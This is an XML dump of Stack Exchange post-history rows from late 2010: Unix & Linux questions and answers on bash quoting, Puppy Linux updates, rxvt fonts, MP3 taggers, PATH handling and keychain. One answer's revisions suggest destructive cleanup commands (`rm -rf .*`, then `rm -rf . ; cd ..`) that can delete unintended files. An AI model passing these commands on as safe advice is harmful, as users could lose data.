  <row Id="10904" PostHistoryTypeId="10" PostId="4955" RevisionGUID="b54983a9-3a9b-44de-b61b-f59687596fb3" CreationDate="2010-12-17T22:52:40.717" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:2180,&quot;DisplayName&quot;:&quot;Shawn J. Goff&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10905" PostHistoryTypeId="5" PostId="4955" RevisionGUID="8ad8c1a1-4fa3-4c5f-bf67-a263a3824557" CreationDate="2010-12-17T22:52:40.857" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I go about tracking down IO usage in Linux and other *nix OS&amp;#39;?](http://unix.stackexchange.com/questions/428/how-do-i-go-about-tracking-down-io-usage-in-linux-and-other-nix-os)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;You know that part of top that says **waiting** when something is doing a lot of hard disc access. The higher this value is, the worse your system performs. What can I use to display the worst offenders?" />
  <row Id="10906" PostHistoryTypeId="2" PostId="4956" RevisionGUID="c061fd33-49af-485c-bce0-32fd91fae7e9" CreationDate="2010-12-18T00:10:39.713" UserId="2179" Text="Today, I was caught redhanded while attempting to code golf a password generator for Twitter.&#xD;&#xA;&#xD;&#xA;    import string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&#xD;&#xA;&#xD;&#xA;90 chars. Since that is a lot of spare space, I decided to raise the bar and make it executable too.&#xD;&#xA;&#xD;&#xA;    echo -e &quot;#!/usr/bin/python\nimport string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&quot;&gt;pg;chmod +x pg;./pg&#xD;&#xA;&#xD;&#xA;139 chars. Nice, except obviously bash chokes on the exclamation point.&#xD;&#xA;&#xD;&#xA;    badp@delta:~$ echo -e &quot;#!/usr/bin/python\nimport string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&quot;&gt;pg;chmod +x pg;./pg&#xD;&#xA;    bash: !/usr/bin/python\nimport: event not found&#xD;&#xA;&#xD;&#xA;Pesky exclamation point. &quot;Let's escape it,&quot; I thought! I do have one spare character after all.&#xD;&#xA;&#xD;&#xA;    echo -e &quot;#\!/usr/bin/python\nimport string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&quot;&gt;pg;chmod +x pg;./pg&#xD;&#xA;&#xD;&#xA;Obviously...&#xD;&#xA;&#xD;&#xA;    badp@delta:~$ echo -e &quot;#\!/usr/bin/python\nimport string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&quot;&gt;pg;chmod +x pg;./pg&#xD;&#xA;    ./pg: line 2: syntax error near unexpected token `('&#xD;&#xA;    ./pg: line 2: `import string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))'&#xD;&#xA;    badp@delta:~$ cat pg&#xD;&#xA;    #\!/usr/bin/python&#xD;&#xA;    import string as s,random;print ''.join(random.sample(s.letters+s.digits+s.punctuation,9))&#xD;&#xA;&#xD;&#xA;Leaving my asinine code golfing aside -- I can't explain this.&#xD;&#xA;&#xD;&#xA;With `\!`, the exclamation point was escaped, except it really wasn't, because the `\!` was left as-is for `echo` to pick up.&#xD;&#xA;&#xD;&#xA;One solution could have been using `\x21` instead, but I'm not convinced that's the proper way of escaping an exclamation point in a bash command.&#xD;&#xA;&#xD;&#xA;tl;dr: **How do you properly escape an exclamation point in a bash command?**" />
  <row Id="10907" PostHistoryTypeId="1" PostId="4956" RevisionGUID="c061fd33-49af-485c-bce0-32fd91fae7e9" CreationDate="2010-12-18T00:10:39.713" UserId="2179" Text="How to properly escape exclamation points in bash?" />
  <row Id="10908" PostHistoryTypeId="3" PostId="4956" RevisionGUID="c061fd33-49af-485c-bce0-32fd91fae7e9" CreationDate="2010-12-18T00:10:39.713" UserId="2179" Text="ébashàéescapingà" />
  <row Id="10909" PostHistoryTypeId="2" PostId="4957" RevisionGUID="a527edd6-d7f2-4605-85ea-cb391e144c1a" CreationDate="2010-12-18T00:25:17.720" UserId="2179" Text="I should have Googled before I asked.&#xD;&#xA;&#xD;&#xA;&gt; Since you do not depend on bash to expand variables [..] you could use single quotes instead. Strings in single quotes are not expanded by bash.&#xD;&#xA;&gt;&#xD;&#xA;&gt; &lt;sub&gt;[honk][1] in [reply][2] to [How do I escape an exclamation mark?][3]&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/users/21992/honk&#xD;&#xA;  [2]: http://superuser.com/questions/133780/in-bash-how-do-i-escape-an-exclamation-mark/133787#133787&#xD;&#xA;  [3]: http://superuser.com/questions/133780/in-bash-how-do-i-escape-an-exclamation-mark" />
  <row Id="10910" PostHistoryTypeId="2" PostId="4958" RevisionGUID="a20ea03f-c298-4952-a94b-8bc50f489b1c" CreationDate="2010-12-18T00:28:14.867" UserId="885" Text="Use single quotes:&#xD;&#xA;&#xD;&#xA;    echo -e '#!/usr/bin/python\nimport string as s,random;print &quot;&quot;.join(random.sample(s.letters+s.digits+s.punctuation,9))'&gt;pg;chmod +x pg;./pg&#xD;&#xA;&#xD;&#xA;The rules for `!` were sort of grafted onto the other quoting rules afterwards (from csh). They were very useful back when shells didn't have command line editing, but some people still use them now.&#xD;&#xA;&#xD;&#xA;P.S. Since you're coding for bash:&#xD;&#xA;&#xD;&#xA;    echo $'#!/usr/bin/python\nimport string as s,random;print&quot;&quot;.join(random.sample(s.letters+s.digits+s.punctuation,9))'&gt;pg;chmod +x pg;./pg&#xD;&#xA;&#xD;&#xA;This works on most unices:&#xD;&#xA;&#xD;&#xA;    echo python -c \''import string as s,random;print&quot;&quot;.join(random.sample(s.letters+s.digits+s.punctuation,9))'\'&gt;pg;chmod +x pg;./pg&#xD;&#xA;&#xD;&#xA;(Not that I understand why you want to create a script or why the script name has to be two letters.)" />
  <row Id="10911" PostHistoryTypeId="6" PostId="4956" RevisionGUID="46e5d16a-2004-4080-97fa-8564650949eb" CreationDate="2010-12-18T00:28:54.693" UserId="885" Comment="edited tags" Text="ébashàécommandöhistoryàéquotingà" />
  <row Id="10912" PostHistoryTypeId="2" PostId="4959" RevisionGUID="cfd61de6-99ad-4f3c-ba09-d91b189a3180" CreationDate="2010-12-18T00:34:44.637" UserId="3194" Text="A month or two ago, I installed the latest version of Puppy Linux to an old Eee PC which I hardly use any more. Well I'm on it now! But I can't figure out how to update it.&#xD;&#xA;&#xD;&#xA;It uses a weird Puppy package manager which only seems to have options for installing and uninstalling things. I found an option to update the database, but that didn't actually update any of the software on my system.&#xD;&#xA;&#xD;&#xA;I've looked through the menus several times and don't see anything that says update.&#xD;&#xA;&#xD;&#xA;How do I update Puppy Linux??&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(if you feel it is appropriate, please add a new 'puppy-linux' tag to this question; I don't have the rep to do so)&lt;/sub&gt;" />
  <row Id="10913" PostHistoryTypeId="1" PostId="4959" RevisionGUID="cfd61de6-99ad-4f3c-ba09-d91b189a3180" CreationDate="2010-12-18T00:34:44.637" UserId="3194" Text="How to update Puppy Linux?" />
  <row Id="10914" PostHistoryTypeId="3" PostId="4959" RevisionGUID="cfd61de6-99ad-4f3c-ba09-d91b189a3180" CreationDate="2010-12-18T00:34:44.637" UserId="3194" Text="élinuxàéupgradeà" />
  <row Id="10915" PostHistoryTypeId="5" PostId="4959" RevisionGUID="ac47bbd2-b5d3-4b05-bd3e-6d2847bb8164" CreationDate="2010-12-18T00:42:36.767" UserId="3194" Comment="added 262 characters in body" Text="A month or two ago, I installed the latest version of Puppy Linux to an old Eee PC which I hardly use any more. Well I'm on it now! But I can't figure out how to update it.&#xD;&#xA;&#xD;&#xA;It uses a weird Puppy package manager which only seems to have options for installing and uninstalling things. I found an option to update the database, but that didn't actually update any of the software on my system.&#xD;&#xA;&#xD;&#xA;I've looked through the menus several times and don't see anything that says update.&#xD;&#xA;&#xD;&#xA;How do I update Puppy Linux??&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(if you feel it is appropriate, please add a new 'puppy-linux' tag to this question; I don't have the rep to do so)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit:** To clarify, I want to do the equivalent of `sudo apt-get upgrade` or `pacman -Syu`. I see the instructions on doing a major version upgrade on the Puppy Linux site, but isn't there any way to update packages like in Ubuntu and other Linuxes?" />
  <row Id="10916" PostHistoryTypeId="5" PostId="4959" RevisionGUID="0a2055ee-3930-49f7-bb08-5f81a3646f87" CreationDate="2010-12-18T00:42:52.083" UserId="885" Comment="deleted 128 characters in body; edited tags" Text="A month or two ago, I installed the latest version of Puppy Linux to an old Eee PC which I hardly use any more. Well I'm on it now! But I can't figure out how to update it.&#xD;&#xA;&#xD;&#xA;It uses a weird Puppy package manager which only seems to have options for installing and uninstalling things. I found an option to update the database, but that didn't actually update any of the software on my system.&#xD;&#xA;&#xD;&#xA;I've looked through the menus several times and don't see anything that says update.&#xD;&#xA;&#xD;&#xA;How do I update Puppy Linux??&#xD;&#xA;" />
  <row Id="10917" PostHistoryTypeId="6" PostId="4959" RevisionGUID="0a2055ee-3930-49f7-bb08-5f81a3646f87" CreationDate="2010-12-18T00:42:52.083" UserId="885" Comment="deleted 128 characters in body; edited tags" Text="élinuxàépackageömanagementàéupgradeàépuppyà" />
  <row Id="10918" PostHistoryTypeId="6" PostId="4748" RevisionGUID="615b9d88-b6de-42ff-89b6-f135364f965a" CreationDate="2010-12-18T00:43:17.743" UserId="885" Comment="edited tags" Text="éfedoraàédebianàépackageömanagementà" />
  <row Id="10919" PostHistoryTypeId="2" PostId="4960" RevisionGUID="72cd8dbf-ad9b-497b-9dc7-fb1558543f53" CreationDate="2010-12-18T06:27:39.233" UserId="3196" Text="Is it possible to use the rxvt terminal emulator with [Inconsolata][1]?  Is it possible to use any TrueType fonts with rxvt? I'd like to use rxvt but would love to use my own fonts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.levien.com/type/myfonts/inconsolata.html" />
  <row Id="10920" PostHistoryTypeId="1" PostId="4960" RevisionGUID="72cd8dbf-ad9b-497b-9dc7-fb1558543f53" CreationDate="2010-12-18T06:27:39.233" UserId="3196" Text="rxvt and Inconsolata (a font)" />
  <row Id="10921" PostHistoryTypeId="3" PostId="4960" RevisionGUID="72cd8dbf-ad9b-497b-9dc7-fb1558543f53" CreationDate="2010-12-18T06:27:39.233" UserId="3196" Text="élinuxàéfontsà" />
  <row Id="10922" PostHistoryTypeId="5" PostId="4719" RevisionGUID="44648c91-51c7-4417-a518-29a40d177327" CreationDate="2010-12-18T06:57:39.173" UserId="688" Comment="neglect ownership" Text="I got version 0.26 from [libcanberra site][1], and running `make` gives:&#xD;&#xA;&#xD;&#xA;    make[2]: *** No rule to make target `README', needed by `all-am'.  Stop.&#xD;&#xA;    make[2]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26/doc'&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make[1]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26'&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;&#xD;&#xA;Output of `./configure`:&#xD;&#xA;&#xD;&#xA;    prefix:                 /usr/local&#xD;&#xA;    sysconfdir:             ${prefix}/etc&#xD;&#xA;    localstatedir:          ${prefix}/var&#xD;&#xA;    Compiler:               gcc -std=gnu99&#xD;&#xA;    CFLAGS:                 -g -O2 -Wall -W -Wextra -pedantic -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wpacked -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-noreturn -Wshadow -Wendif-labels -Wstrict-aliasing=2 -Wcast-align -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option -fno-strict-aliasing&#xD;&#xA;    C++-Compiler:           g++&#xD;&#xA;    CXXFLAGS:               -g -O2&#xD;&#xA;    Builtin DSO:            yes&#xD;&#xA;    Enable PulseAudio:      yes&#xD;&#xA;    Builtin PulseAudio:     no&#xD;&#xA;    Enable ALSA:            yes&#xD;&#xA;    Builtin ALSA:           no&#xD;&#xA;    Enable OSS:             yes&#xD;&#xA;    Builtin OSS:            no&#xD;&#xA;    Enable GStreamer:       yes&#xD;&#xA;    Builtin GStreamer:      no&#xD;&#xA;    Enable Null Output:     yes&#xD;&#xA;    Builtin Null Output:    no&#xD;&#xA;    Enable tdb:             no&#xD;&#xA;    Enable lookup cache:    no&#xD;&#xA;    Enable GTK+:            yes&#xD;&#xA;    GTK Modules Directory:  ${exec_prefix}/lib/gtk-2.0/modules&#xD;&#xA;    Enable GTK3+:           yes&#xD;&#xA;    GTK3 Modules Directory: ${exec_prefix}/lib/gtk-3.0/modules&#xD;&#xA;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;update:&#xD;&#xA;=&#xD;&#xA; I'm no longer experiencing this problem and [have no idea what fixed it](http://unix.stackexchange.com/questions/4719/libcanberra-is-failing-to-build), but I'll keep the question open for the benefit of someone else.&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/lennart/projects/libcanberra/" />
  <row Id="10923" PostHistoryTypeId="2" PostId="4961" RevisionGUID="46a89fbe-3482-44f5-a340-fb8d2f8c5529" CreationDate="2010-12-18T08:57:21.463" UserId="665" Text="Which app would you recommend for Linux? Under Windows I used to use tag&amp;rename and liked it a lot.. It works well under Wine, but I want something genuine.&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;ps - someone please add 'tagging' tag. thank you" />
  <row Id="10924" PostHistoryTypeId="1" PostId="4961" RevisionGUID="46a89fbe-3482-44f5-a340-fb8d2f8c5529" CreationDate="2010-12-18T08:57:21.463" UserId="665" Text="Which mp3 tagging tool on Linux?" />
  <row Id="10925" PostHistoryTypeId="3" PostId="4961" RevisionGUID="46a89fbe-3482-44f5-a340-fb8d2f8c5529" CreationDate="2010-12-18T08:57:21.463" UserId="665" Text="éutilitiesàémp3à" />
  <row Id="10926" PostHistoryTypeId="2" PostId="4962" RevisionGUID="386001a8-2cae-49bf-ae4a-2763728a4b4b" CreationDate="2010-12-18T09:19:45.327" UserId="3069" Text="There are various:&#xD;&#xA;&#xD;&#xA; - [easytag][1] has a lot of options&#xD;&#xA; - [kid3][2] if you're on a Qt/KDE environment&#xD;&#xA; - `id3v2` or `eyeD3` for the command line&#xD;&#xA; - Generally music players can also edit common tags, f.e. `banshee`, `rhythmbox` or `amarok`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and a lot others, try searching your distributions repository and test some of them.&#xD;&#xA;&#xD;&#xA;  [1]: http://easytag.sourceforge.net/&#xD;&#xA;  [2]: http://kid3.sourceforge.net/" />
  <row Id="10927" PostHistoryTypeId="5" PostId="4961" RevisionGUID="4048e85d-2f02-4c9c-a943-49093db61dc0" CreationDate="2010-12-18T09:51:35.270" UserId="665" Comment="deleted 52 characters in body; edited tags; edited title" Text="Which app would you recommend for Linux? Under Windows I used to use tag&amp;rename and liked it a lot.. It works well under Wine, but I want something genuine.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="10928" PostHistoryTypeId="6" PostId="4961" RevisionGUID="4048e85d-2f02-4c9c-a943-49093db61dc0" CreationDate="2010-12-18T09:51:35.270" UserId="665" Comment="deleted 52 characters in body; edited tags; edited title" Text="éutilitiesàémp3àétaggingà" />
  <row Id="10929" PostHistoryTypeId="4" PostId="4961" RevisionGUID="4048e85d-2f02-4c9c-a943-49093db61dc0" CreationDate="2010-12-18T09:51:35.270" UserId="665" Comment="deleted 52 characters in body; edited tags; edited title" Text="Which mp3 tagging tool for Linux?" />
  <row Id="10930" PostHistoryTypeId="2" PostId="4963" RevisionGUID="1d8415fe-e07c-48f8-835a-f853f2ece639" CreationDate="2010-12-18T10:28:52.407" UserId="3069" Text="`rxvt` does not support TrueType, but there is a fork [`rxvt-unicode`][1] (or `urxvt`) which can.&#xD;&#xA;&#xD;&#xA;urxvt(1) gives two examples:&#xD;&#xA;&#xD;&#xA;    urxvt -fn &quot;xft:Bitstream Vera Sans Mono:pixelsize=15&quot;&#xD;&#xA;    urxvt -fn &quot;9x15bold,xft:Bitstream Vera Sans Mono&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://software.schmorp.de/pkg/rxvt-unicode" />
  <row Id="10931" PostHistoryTypeId="2" PostId="4964" RevisionGUID="0cb430e3-6328-49cd-83d2-16ae396eaa84" CreationDate="2010-12-18T10:29:48.740" UserId="3196" Text="I've been a dedicated user of [Picard][1] for quite some time. The only cross-platform tagger that feels truly solid. Don't forget MusicBrainz's huge music database.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://musicbrainz.org/doc/MusicBrainz_Picard" />
  <row Id="10932" PostHistoryTypeId="2" PostId="4965" RevisionGUID="445f1dd2-99b0-474b-b7f8-2ad5906f0cae" CreationDate="2010-12-18T11:30:16.453" UserId="29" Text="I have the following code that's sourced by my `.shellrc`&#xD;&#xA;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/perl5/bin&quot;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/.bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;but if I make changes to other code, and then `source` this file. my path continues to get longer and longer with these as duplicates, what can I do to prevent this?" />
  <row Id="10933" PostHistoryTypeId="1" PostId="4965" RevisionGUID="445f1dd2-99b0-474b-b7f8-2ad5906f0cae" CreationDate="2010-12-18T11:30:16.453" UserId="29" Text="keep duplicates out of path on ever source" />
  <row Id="10934" PostHistoryTypeId="3" PostId="4965" RevisionGUID="445f1dd2-99b0-474b-b7f8-2ad5906f0cae" CreationDate="2010-12-18T11:30:16.453" UserId="29" Text="éshellàéshellöscriptàéenvironmentövariablesàépathà" />
  <row Id="10935" PostHistoryTypeId="2" PostId="4966" RevisionGUID="13d1d3da-c1cf-40fb-8f53-adb318ae023f" CreationDate="2010-12-18T11:45:07.040" UserId="29" Text="I open multiple shell tabs when I start KDE, and I've just added `keychain` to my `~/.shellrc` the problem is that all the tabs prompt for key passwords when I login. This is quite annoying to do this. Is there any good solution for this so that all the tabs simply start, and once I've logged into one tab, all of them have the keys loaded?" />
  <row Id="10936" PostHistoryTypeId="1" PostId="4966" RevisionGUID="13d1d3da-c1cf-40fb-8f53-adb318ae023f" CreationDate="2010-12-18T11:45:07.040" UserId="29" Text="How can I run keychain in a way that only has the first shell prompt for keys on startup?" />
  <row Id="10937" PostHistoryTypeId="3" PostId="4966" RevisionGUID="13d1d3da-c1cf-40fb-8f53-adb318ae023f" CreationDate="2010-12-18T11:45:07.040" UserId="29" Text="éshellàésecurityàékeychainà" />
  <row Id="10938" PostHistoryTypeId="2" PostId="4967" RevisionGUID="112a75ae-a11b-499a-823a-cdc0695d3913" CreationDate="2010-12-18T11:58:57.517" UserId="29" Text="&#xD;&#xA;    cp -ail .* ..&#xD;&#xA;&#xD;&#xA;I *think* this will copy everything including *dot files* to the above directory, it has the advantage that it uses hardlinks and is thus not **IO** intensive, it should also prompt on duplicate. After that's been done and you've resolved duplicates&#xD;&#xA;&#xD;&#xA;    rm -rf .*" />
  <row Id="10939" PostHistoryTypeId="5" PostId="4967" RevisionGUID="b09fe8ac-c154-4ff8-9872-7046a0e3c43b" CreationDate="2010-12-18T12:12:36.200" UserId="29" Comment="update to be even better" Text="    cp -alb . ..&#xD;&#xA;&#xD;&#xA;This will copy everything in the current directory to the directory above it, retaining all permissions, using hardlinks to minimize IO if possible, and on duplicates it creates filename~&#xD;&#xA;&#xD;&#xA;after that&#xD;&#xA;&#xD;&#xA;    rm -rf . ; cd .. ; rmdir &lt;originaldir&gt;;" />
  <row Id="10940" PostHistoryTypeId="2" PostId="4968" RevisionGUID="38d66559-c999-4353-b412-ad2f79487374" CreationDate="2010-12-18T12:26:15.337" UserId="2871" Text="Hi Ricket,  &#xD;&#xA;&#xD;&#xA;Please go through this blog as i think it exactly describes what you need : [how-to-update/upgrade-kernel-for-puppy-linux][1]  &#xD;&#xA;I think this site could also help you.. [flash-puppy][2]  &#xD;&#xA;Another link which might help you is : [Update from 4.1.2 to 4.2][3]  &#xD;&#xA;&#xD;&#xA;Note : Take a look at this site also : [installing-puppy-linux-to-your-hard-drive][4]&#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pateo.wordpress.com/2009/12/25/how-to-updateupgrade-kernel-for-puppy-linux-dpup/&#xD;&#xA;  [2]: http://www.puppylinux.com/flash-puppy.htm&#xD;&#xA;  [3]: http://www.murga-linux.com/puppy/viewtopic.php?p=289827#289827&#xD;&#xA;  [4]: http://www.arsgeek.com/2006/12/05/installing-puppy-linux-to-your-hard-drive/" />
  <row Id="10941" PostHistoryTypeId="5" PostId="4967" RevisionGUID="520504ec-fdee-48ea-9d1a-25893b8372c6" CreationDate="2010-12-18T12:28:37.473" UserId="29" Comment="reorganize the letter to be more memorable" Text="    cp -bal . ..&#xD;&#xA;&#xD;&#xA;This will copy everything in the current directory to the directory above it, retaining all permissions, using hardlinks to minimize IO if possible, and on duplicates it creates filename~&#xD;&#xA;&#xD;&#xA;after that&#xD;&#xA;&#xD;&#xA;    rm -rf . ; cd .. ; rmdir &lt;originaldir&gt;;" />
  <row Id="10942" PostHistoryTypeId="5" PostId="4965" RevisionGUID="4bafc677-bd36-4f1c-afd0-a61c3e8eb87f" CreationDate="2010-12-18T12:47:03.953" UserId="29" Comment="reword a little" Text="I have the following code that's `source`-d by my `.shellrc`&#xD;&#xA;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/perl5/bin&quot;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/.bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;but if I make changes to other code, and then `source` this file, my path continues to get longer and longer with each source, each time appending these when they're already their. what can I do to prevent this?" />
  <row Id="10943" PostHistoryTypeId="4" PostId="4965" RevisionGUID="4bafc677-bd36-4f1c-afd0-a61c3e8eb87f" CreationDate="2010-12-18T12:47:03.953" UserId="29" Comment="reword a little" Text="keep duplicates out of $PATH on source" />
  <row Id="10944" PostHistoryTypeId="2" PostId="4969" RevisionGUID="0cfa4492-7f1d-4d5e-b487-b770177b2847" CreationDate="2010-12-18T12:52:40.377" UserId="2362" Text="Trying to get into Vi (not Vim), after learning Vim.&#xD;&#xA;&#xD;&#xA;1. Vim has a lookabehind like `/\(Not this\)\@&lt;!$`, how to do it in Vi?&#xD;&#xA;2. If I want to search recurvively down directory in Vim, I could do `:vimgrep /\(Not this\)\@!$ -r *`, what about Vi?&#xD;&#xA;3. if (1) and (2) are not available in Vi, how do you accomplish them?&#xD;&#xA;&#xD;&#xA;Please, create tag `lookbehind` and `regex`." />
  <row Id="10945" PostHistoryTypeId="1" PostId="4969" RevisionGUID="0cfa4492-7f1d-4d5e-b487-b770177b2847" CreationDate="2010-12-18T12:52:40.377" UserId="2362" Text="lookabehind and using it with grep in Vi?" />
  <row Id="10946" PostHistoryTypeId="3" PostId="4969" RevisionGUID="0cfa4492-7f1d-4d5e-b487-b770177b2847" CreationDate="2010-12-18T12:52:40.377" UserId="2362" Text="évimàévià" />
  <row Id="10947" PostHistoryTypeId="6" PostId="4969" RevisionGUID="1a989b67-da81-4761-941d-d02e961cfbdc" CreationDate="2010-12-18T12:57:46.663" UserId="29" Comment="add tag regular expressions" Text="évimàéviàéregexà" />
  <row Id="10948" PostHistoryTypeId="2" PostId="4970" RevisionGUID="e7b8622c-c0ab-4ca8-90e7-28d86a54a740" CreationDate="2010-12-18T13:11:35.793" UserId="1294" Text="You could put a test around the &quot;append this directory to path&quot; command which would check to see if `foo` is already in the path before adding it, but it wouldn't buy you much.&#xD;&#xA;&#xD;&#xA;First, the test itself would be costly compared to appending a duplicate element. Secondly, a redundant element later in the path has no effect upon what does get executed when you execute a given command because the first matching executable in the path will still be the one executed. Finally most shells cache prior path hits in a hash table so the second time you execute `my_command` the path isn't even searched.&#xD;&#xA;&#xD;&#xA;About the only thing that not appending redundant entries will get you is a prettier looking path, but most paths are pretty ugly to begin with. If this aesthetic goal is really important to you, tell us which shell you are using and I can conjure up a function to &quot;append this to path only if it isn't present&quot; function." />
  <row Id="10949" PostHistoryTypeId="5" PostId="4966" RevisionGUID="73370c92-4b14-49b0-ad19-4e43ab6b27f5" CreationDate="2010-12-18T13:19:46.200" UserId="29" Comment="link to keychain docs" Text="I open multiple shell tabs when I start KDE, and I've just added [`keychain`](http://www.funtoo.org/en/security/keychain/intro/) to my `~/.shellrc` the problem is that all the tabs prompt for key passwords when I login. This is quite annoying to do this. Is there any good solution for this so that all the tabs simply start, and once I've logged into one tab, all of them have the keys loaded?" />
  <row Id="10950" PostHistoryTypeId="6" PostId="4965" RevisionGUID="7f01c8dd-3ff8-4bfd-8431-18b3f14d5093" CreationDate="2010-12-18T13:21:23.327" UserId="29" Comment="since I'd like to keep this working on all bourne shells" Text="éshellàéshellöscriptàéenvironmentövariablesàépathàéposixà" />
  <row Id="10951" PostHistoryTypeId="4" PostId="4969" RevisionGUID="2fcee97e-a120-42ce-8bc8-917386a2979e" CreationDate="2010-12-18T13:24:38.710" UserId="2362" Comment="typo lookbehind means &quot; NOT_THIS\@&lt;!MATCH007&quot;, ie match everything tha do not match NOT_THIS at the front but match MATCH" Text="lookbehind and using it with grep in Vi?" />
  <row Id="10952" PostHistoryTypeId="5" PostId="4961" RevisionGUID="16f0b8c6-483e-40d4-bf32-294ed083b447" CreationDate="2010-12-18T13:41:20.403" UserId="73" Comment="added 10 characters in body; edited tags" Text="Which app would you recommend for Linux to tag MP3s? Under Windows I used to use tag&amp;rename and liked it a lot; it works well under Wine, but I want something that runs natively&#xD;&#xA;" />
  <row Id="10953" PostHistoryTypeId="6" PostId="4961" RevisionGUID="16f0b8c6-483e-40d4-bf32-294ed083b447" CreationDate="2010-12-18T13:41:20.403" UserId="73" Comment="added 10 characters in body; edited tags" Text="ésoftwareörecàéutilitiesàémp3àétaggingà" />
  <row Id="10954" PostHistoryTypeId="2" PostId="4971" RevisionGUID="390cf24d-a94e-4651-be0c-40ef50d21254" CreationDate="2010-12-18T14:08:01.620" UserId="2180" Text="You can ensure that keychain only opens on one tab like this:&#xD;&#xA;&#xD;&#xA;    if mkdir /temp/keychain.lock; then&#xD;&#xA;      eval `keychain --eval --agents ssh id_dsa`&#xD;&#xA;      rm -r /temp/keychain.lock&#xD;&#xA;    fi&#xD;&#xA;But it may not be on the first tab you land on.&#xD;&#xA;" />
  <row Id="10955" PostHistoryTypeId="5" PostId="4952" RevisionGUID="ddabb455-145a-40b0-9e79-578c7bdbcbec" CreationDate="2010-12-18T14:13:37.437" UserId="885" Comment="added how to handle dot files and working around the command line length limit" Text="`mv -i` only prompts if the destination exists.&#xD;&#xA;&#xD;&#xA;`yes n | mv -i …` moves all files that don't exist in the destination directory. On FreeBSD and OSX, you can shorten this to `mv -n …`.&#xD;&#xA;&#xD;&#xA;Note that neither of these will merge a directory argument with an existing directory in the same name in the destination directory.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;A separate issue is how to act on all the files in the current directory. There are two problems: grabbing all files (`*` omits dot files) and not running into a command line . On Linux (or more generally with GNU find and GNU coreutils):&#xD;&#xA;&#xD;&#xA;    find . -mindepth 1 -maxdepth 1 -exec mv -i -t .. -- {} +&#xD;&#xA;&#xD;&#xA;With GNU find but not GNU coreutils (or older GNU coreutils):&#xD;&#xA;&#xD;&#xA;    find . -mindepth 1 -maxdepth 1 -exec sh -c 'mv -i -- &quot;$@&quot; &quot;$0&quot;' .. {} +&#xD;&#xA;&#xD;&#xA;Portably:&#xD;&#xA;&#xD;&#xA;    find . -name . -o -exec sh -c 'mv -i -- &quot;$@&quot; &quot;$0&quot;' .. {} -type d -prune&#xD;&#xA;&#xD;&#xA;As usual zsh makes things easier. It doesn't have a command line length limitation internally, so if you use its `mv` builtin you don't need to worry about that. And you can tell it not to ignore dot files with the `D` glob qualifier. Limitation: this doesn't work across filesystems (as of zsh 4.3.10).&#xD;&#xA;&#xD;&#xA;    zmodload zsh/files&#xD;&#xA;    mv -i -- *(D) ..&#xD;&#xA;" />
  <row Id="10956" PostHistoryTypeId="2" PostId="4972" RevisionGUID="84d4025f-3ccb-4ee5-8f1a-dd8521bbe5c6" CreationDate="2010-12-18T14:17:20.517" UserId="3200" Text="works for me with DISPLAY=:0.0 but I have just one user on the system so I specify that user in /etc/crontab" />
  <row Id="10957" PostHistoryTypeId="2" PostId="4973" RevisionGUID="0f24882d-e502-4e08-a8a0-a4fd18715a79" CreationDate="2010-12-18T14:32:52.903" UserId="885" Text="    for d in ~/perl5/bin ~/.bin; do&#xD;&#xA;      case &quot;:$PATH:&quot; in&#xD;&#xA;        *&quot;:$d:&quot;*) :;;&#xD;&#xA;        *) PATH=$PATH:$d;;&#xD;&#xA;      esac&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
